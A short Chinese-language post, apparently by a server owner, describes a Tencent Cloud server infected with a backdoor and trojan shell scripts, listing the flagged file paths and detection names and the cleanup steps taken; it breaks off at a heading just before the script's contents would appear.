服务器被挂马了，下面描述一下现象：

腾讯云通过站内信先后提醒我检测到以下恶意文件：

/home/[my-user-name]/.rsyslo/rsyslo （病毒名 Linux.Backdoor.Agent.Jqil）
/var/www/[my-project-name]/./s.sh （病毒名 Linux.Trojan.Shell.Lzfl）
/var/www/[my-project-name]/s.sh （病毒名 Linux.Trojan.Shell.Lzfl）

正常登录一直超时，应该是内存被占满了。后来通过腾讯云控制台的主机安全页面清理了以上恶意文件和恶意进程，然后重启后就能正常登录了。大概登录后十几分钟，腾讯云又提示检测到恶意文件 rsyslo，我继续删之。

我本来想在主机安全页面保存这些恶意文件到本地，但 rsyslo 文件根本下载不下来，chrome 提示病毒，根本不让下载；其中一个s.sh忘了保存，直接被清理了，另一个内容如下：

# 其中一个 s.sh
